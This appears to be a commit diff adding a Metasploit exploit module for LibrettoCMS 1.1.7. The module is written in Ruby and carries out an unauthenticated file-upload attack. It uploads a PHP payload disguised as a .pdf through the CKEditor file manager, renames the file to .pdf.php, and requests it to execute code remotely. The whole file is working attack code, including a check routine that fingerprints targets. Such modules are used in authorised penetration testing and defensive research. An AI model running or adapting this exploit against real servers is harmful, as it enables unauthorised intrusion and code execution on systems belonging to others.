1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::PhpEXE
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability" ,
19
+ 'Description' => %q{
20
+ This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
21
+ possibly prior. Attackers bypass the file extension check and abuse the upload
22
+ feature in order to upload a malicious PHP file without authentication, which
23
+ results in arbitary remote code execution.
24
+ } ,
25
+ 'License' => MSF_LICENSE ,
26
+ 'Author' =>
27
+ [
28
+ 'CWH' ,
29
+ 'sinn3r' #Metasploit
30
+ ] ,
31
+ 'References' =>
32
+ [
33
+ [ 'OSVDB' , '94391' ] ,
34
+ [ 'EDB' , '26213' ]
35
+ ] ,
36
+ 'Payload' =>
37
+ {
38
+ 'BadChars' => "\x00 "
39
+ } ,
40
+ 'Platform' => [ 'linux' , 'php' ] ,
41
+ 'Targets' =>
42
+ [
43
+ [ 'Generic (PHP Payload)' , { 'Arch' => ARCH_PHP , 'Platform' => 'php' } ] ,
44
+ [ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
45
+ ] ,
46
+ 'Privileged' => false ,
47
+ 'DisclosureDate' => "Jun 14 2013" ,
48
+ 'DefaultTarget' => 0 ) )
49
+
50
+ register_options (
51
+ [
52
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to LibrettoCMS' , '/librettoCMS_v.2.2.2/' ] )
53
+ ] , self . class )
54
+ end
55
+
56
+
57
+ def peer
58
+ "#{ rhost } :#{ rport } "
59
+ end
60
+
61
+
62
+ def check
63
+ res = send_request_raw ( { 'uri' => normalize_uri ( target_uri . path ) } )
64
+ if not res
65
+ print_error ( "#{ peer } - Connection timed out" )
66
+ return Exploit ::CheckCode ::Unknown
67
+ end
68
+
69
+ if res . body =~ /Powered by <a href=".+">Libretto CMS/
70
+ return Exploit ::CheckCode ::Detected
71
+ end
72
+
73
+ Exploit ::CheckCode ::Safe
74
+ end
75
+
76
+
77
+ def upload ( base )
78
+ p = get_write_exec_payload ( :unlink_self => true )
79
+ fname = "#{ Rex ::Text . rand_text_alpha ( 6 ) } .pdf"
80
+
81
+ data = Rex ::MIME ::Message . new
82
+ data . add_part ( fname , nil , nil , "form-data; name=\" Filename\" " )
83
+ data . add_part ( p , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ fname } \" " )
84
+ data . add_part ( 'Submit Query' , nil , nil , 'form-data; name="Upload"' )
85
+ post_data = data . to_s . gsub ( /^\r \n \- \- \_ Part\_ / , '--_Part_' )
86
+
87
+ uri = normalize_uri ( base , 'adm' , 'ui' , 'js' , 'ckeditor' , 'plugins' , 'pgrfilemanager' , 'php' , 'upload.php' )
88
+
89
+ res = send_request_cgi ( {
90
+ 'method' => 'POST' ,
91
+ 'uri' => uri ,
92
+ 'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
93
+ 'data' => post_data ,
94
+ 'vars_get' => { 'type' => 'all files' }
95
+ } )
96
+
97
+ if not res
98
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Request timed out while uploading" )
99
+ elsif res . code . to_i != 200
100
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Unknown reply: #{ res . code . to_s } " )
101
+ end
102
+
103
+ fname
104
+ end
105
+
106
+
107
+ def rename ( base , original_fname )
108
+ new_name = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .pdf.php"
109
+ uri = normalize_uri ( base , 'adm' , 'ui' , 'js' , 'ckeditor' , 'plugins' , 'pgrfilemanager' , 'php' , 'files.php' )
110
+ res = send_request_cgi ( {
111
+ 'method' => 'POST' ,
112
+ 'uri' => uri ,
113
+ 'vars_get' => { 'type' => 'all files' } ,
114
+ 'vars_post' => {
115
+ 'fun' => 'renameFile' ,
116
+ 'dir' => '' ,
117
+ 'filename' => original_fname ,
118
+ 'newFilename' => new_name
119
+ }
120
+ } )
121
+
122
+ if not res
123
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Request timed out while renaming" )
124
+ elsif res . body !~ /"res":"OK"/
125
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Failed to rename file" )
126
+ end
127
+
128
+ new_name
129
+ end
130
+
131
+
132
+ def exec ( base , payload_fname )
133
+ res = send_request_cgi ( { 'uri' => normalize_uri ( base , 'userfiles' , payload_fname ) } )
134
+ if res and res . code . to_i == 404
135
+ fail_with ( Exploit ::Failure ::NotFound , "#{ peer } - Not found: #{ payload_fname } " )
136
+ end
137
+ end
138
+
139
+
140
+ def exploit
141
+ base = target_uri . path
142
+
143
+ print_status ( "#{ peer } - Uploading malicious file..." )
144
+ orig_fname = upload ( base )
145
+
146
+ print_status ( "#{ peer } - Renaming #{ orig_fname } ..." )
147
+ new_fname = rename ( base , orig_fname )
148
+
149
+ print_status ( "#{ peer } - Executing #{ new_fname } ..." )
150
+ exec ( base , new_fname )
151
+ end
152
+ end
0 commit comments